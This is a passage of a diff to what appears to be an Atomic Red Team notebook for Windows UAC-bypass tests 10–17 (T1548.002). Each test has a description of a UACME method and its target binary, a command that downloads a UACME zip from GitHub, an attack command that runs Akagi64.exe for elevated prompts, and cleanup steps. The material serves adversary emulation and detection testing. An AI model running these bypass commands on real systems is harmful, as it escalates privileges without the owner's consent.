-Force\n\n```" + "source": "### Atomic Test #10 - UACME Bypass Method 23\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Leo Davidson derivative\n\nType:\tDll Hijack\n\nMethod: IFileOperation\n\nTarget:\t\\system32\\pkgmgr.exe\n\nComponent: DismCore.dll\n\nImplementation:\tucmDismMethod\n\nUCM Method:\tUacMethodDISM\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (\"#{uacme_exe}\")\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\23 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\" -Force\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "98e638d8", + "id": "b25ef16a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 10 -GetPreReqs" }, { "cell_type": "markdown", - "id": "7536c4c6", + "id": "36d9e5f8", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\n\"%temp%\\uacme\\23 Akagi64.exe\"\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\23 Akagi64.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "75904925", + "id": "37d37b0a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "5b4ea812", + "id": "2d64ef9a", "metadata": {}, "source": "#### Cleanup: \n```cmd\npowershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2101075e", + "id": "b0a48731", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 10 -Cleanup" }, { "cell_type": "markdown", - "id": "81b89a01", + "id": "54bda74d", "metadata": {}, - "source": "### Atomic Test #11 - UACME Bypass Method 31\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Enigma0x3\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\sdclt.exe\n\nComponent: Attacker defined\n\nImplementation:\tucmSdcltIsolatedCommandMethod\n\nUCM Method:\tUacMethodShellSdclt\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (#{uacme_exe})\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo %temp%\\uacme\\31 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n\n```" + "source": "### Atomic Test #11 - UACME Bypass Method 31\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Enigma0x3\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\sdclt.exe\n\nComponent: Attacker defined\n\nImplementation:\tucmSdcltIsolatedCommandMethod\n\nUCM Method:\tUacMethodShellSdclt\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (\"#{uacme_exe}\")\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\31 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\" -Force\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f7127e8f", + "id": "ed702b40", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 11 -GetPreReqs" }, { "cell_type": "markdown", - "id": "944f63d0", + "id": "e8109461", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\n\"%temp%\\uacme\\31 Akagi64.exe\"\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\31 Akagi64.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "10f92d0d", + "id": "a93b408c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 11" }, { "cell_type": "markdown", - "id": "c8f95df3", + "id": "924c8f5c", "metadata": {}, "source": "#### Cleanup: \n```cmd\npowershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "21247fb8", + "id": "506173eb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 11 -Cleanup" }, { "cell_type": "markdown", - "id": "3cc554b7", + "id": "a5e8350c", "metadata": {}, - "source": "### Atomic Test #12 - UACME Bypass Method 33\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: winscripting.blog\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\fodhelper.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodMsSettings2\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (#{uacme_exe})\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo %temp%\\uacme\\33 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n\n```" + "source": "### Atomic Test #12 - UACME Bypass Method 33\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: winscripting.blog\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\fodhelper.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodMsSettings2\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (\"#{uacme_exe}\")\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\33 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\" -Force\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1d5e45c9", + "id": "1d4d9f00", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 12 -GetPreReqs" }, { "cell_type": "markdown", - "id": "5b3a96b8", + "id": "fa1d1002", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\n\"%temp%\\uacme\\33 Akagi64.exe\"\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\33 Akagi64.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "9557abad", + "id": "fe47c85e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 12" }, { "cell_type": "markdown", - "id": "f73f0070", + "id": "0669393f", "metadata": {}, "source": "#### Cleanup: \n```cmd\npowershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7ae3d927", + "id": "30c073da", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 12 -Cleanup" }, { "cell_type": "markdown", - "id": "d50657a0", + "id": "db30e3b8", "metadata": {}, - "source": "### Atomic Test #13 - UACME Bypass Method 34\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: James Forshaw\n\nType:\tShell API\n\nMethod: Environment variables expansion\n\nTarget:\t\\system32\\svchost.exe via \\system32\\schtasks.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDiskCleanupEnvironmentVariable\n\nUCM Method:\tUacMethodDiskSilentCleanup\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (#{uacme_exe})\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo %temp%\\uacme\\34 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n\n```" + "source": "### Atomic Test #13 - UACME Bypass Method 34\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: James Forshaw\n\nType:\tShell API\n\nMethod: Environment variables expansion\n\nTarget:\t\\system32\\svchost.exe via \\system32\\schtasks.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDiskCleanupEnvironmentVariable\n\nUCM Method:\tUacMethodDiskSilentCleanup\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (\"#{uacme_exe}\")\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\34 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\" -Force\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2f1bc958", + "id": "0399a602", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 13 -GetPreReqs" }, { "cell_type": "markdown", - "id": "06f2466c", + "id": "9bc9164f", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\n\"%temp%\\uacme\\34 Akagi64.exe\"\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\34 Akagi64.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "7d47d51e", + "id": "95b72079", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 13" }, { "cell_type": "markdown", - "id": "952cd483", + "id": "a9703dc2", "metadata": {}, "source": "#### Cleanup: \n```cmd\npowershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2ed7bb5f", + "id": "5cdbed0d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 13 -Cleanup" }, { "cell_type": "markdown", - "id": "c5122cec", + "id": "9437a917", "metadata": {}, - "source": "### Atomic Test #14 - UACME Bypass Method 39\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Stefan Kanthak\n\nType:\tDll Hijack\n\nMethod: .NET Code Profiler\n\nTarget:\t\\system32\\mmc.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmCorProfilerMethod\n\nUCM Method:\tUacMethodCorProfiler\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (#{uacme_exe})\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo %temp%\\uacme\\39 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n\n```" + "source": "### Atomic Test #14 - UACME Bypass Method 39\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Stefan Kanthak\n\nType:\tDll Hijack\n\nMethod: .NET Code Profiler\n\nTarget:\t\\system32\\mmc.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmCorProfilerMethod\n\nUCM Method:\tUacMethodCorProfiler\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (\"#{uacme_exe}\")\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\39 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\" -Force\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "bdee1697", + "id": "12bf98a7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 14 -GetPreReqs" }, { "cell_type": "markdown", - "id": "63298b46", + "id": "71b130b7", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\n\"%temp%\\uacme\\39 Akagi64.exe\"\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\39 Akagi64.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "faf411a7", + "id": "5781c36e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 14" }, { "cell_type": "markdown", - "id": "ea7ebc41", + "id": "ad049f71", "metadata": {}, "source": "#### Cleanup: \n```cmd\npowershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d63507a7", + "id": "91c614c8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 14 -Cleanup" }, { "cell_type": "markdown", - "id": "60bb2841", + "id": "8a596b57", "metadata": {}, - "source": "### Atomic Test #15 - UACME Bypass Method 56\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Hashim Jawad\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\WSReset.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodShellWSReset\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (#{uacme_exe})\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo %temp%\\uacme\\56 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n\n```" + "source": "### Atomic Test #15 - UACME Bypass Method 56\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Hashim Jawad\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\WSReset.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodShellWSReset\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (\"#{uacme_exe}\")\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\56 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\" -Force\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1ca8efad", + "id": "1de430b7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 15 -GetPreReqs" }, { "cell_type": "markdown", - "id": "41fdc736", + "id": "d5270502", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\n\"%temp%\\uacme\\56 Akagi64.exe\"\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\56 Akagi64.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "a83702c7", + "id": "1f0094bb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 15" }, { "cell_type": "markdown", - "id": "68d0d84a", + "id": "6b0d2e17", "metadata": {}, "source": "#### Cleanup: \n```cmd\npowershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1b85ef0b", + "id": "4e48f650", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 15 -Cleanup" }, { "cell_type": "markdown", - "id": "c1408f3a", + "id": "1089f086", "metadata": {}, - "source": "### Atomic Test #16 - UACME Bypass Method 59\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: James Forshaw\n\nType:\tAppInfo ALPC\n\nMethod: RAiLaunchAdminProcess and DebugObject\n\nTarget:\tAttacker defined\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDebugObjectMethod\n\nUCM Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (#{uacme_exe})\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo %temp%\\uacme\\59 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n\n```" + "source": "### Atomic Test #16 - UACME Bypass Method 59\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: James Forshaw\n\nType:\tAppInfo ALPC\n\nMethod: RAiLaunchAdminProcess and DebugObject\n\nTarget:\tAttacker defined\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDebugObjectMethod\n\nUCM Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (\"#{uacme_exe}\")\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\59 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\" -Force\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "cf8fe7d1", + "id": "07b05f76", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 16 -GetPreReqs" }, { "cell_type": "markdown", - "id": "7fe6fd6a", + "id": "e67cea09", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\n\"%temp%\\uacme\\59 Akagi64.exe\"\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\59 Akagi64.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "47876008", + "id": "a93e3f65", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 16" }, { "cell_type": "markdown", - "id": "907a2744", + "id": "8293fe2a", "metadata": {}, "source": "#### Cleanup: \n```cmd\npowershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "bfdcf73c", + "id": "a8d98563", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 16 -Cleanup" }, { "cell_type": "markdown", - "id": "f9142d8a", + "id": "fd0e20b6", "metadata": {}, - "source": "### Atomic Test #17 - UACME Bypass Method 61\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Enigma0x3/bytecode77 derivative by Nassim Asrir\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\slui.exe, \\system32\\changepk.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (#{uacme_exe})\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo %temp%\\uacme\\61 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n\n```" + "source": "### Atomic Test #17 - UACME Bypass Method 61\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Enigma0x3/bytecode77 derivative by Nassim Asrir\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\slui.exe, \\system32\\changepk.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (\"#{uacme_exe}\")\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\61 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\" -Force\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3ca4877b", + "id": "c16aa677", "metadata": 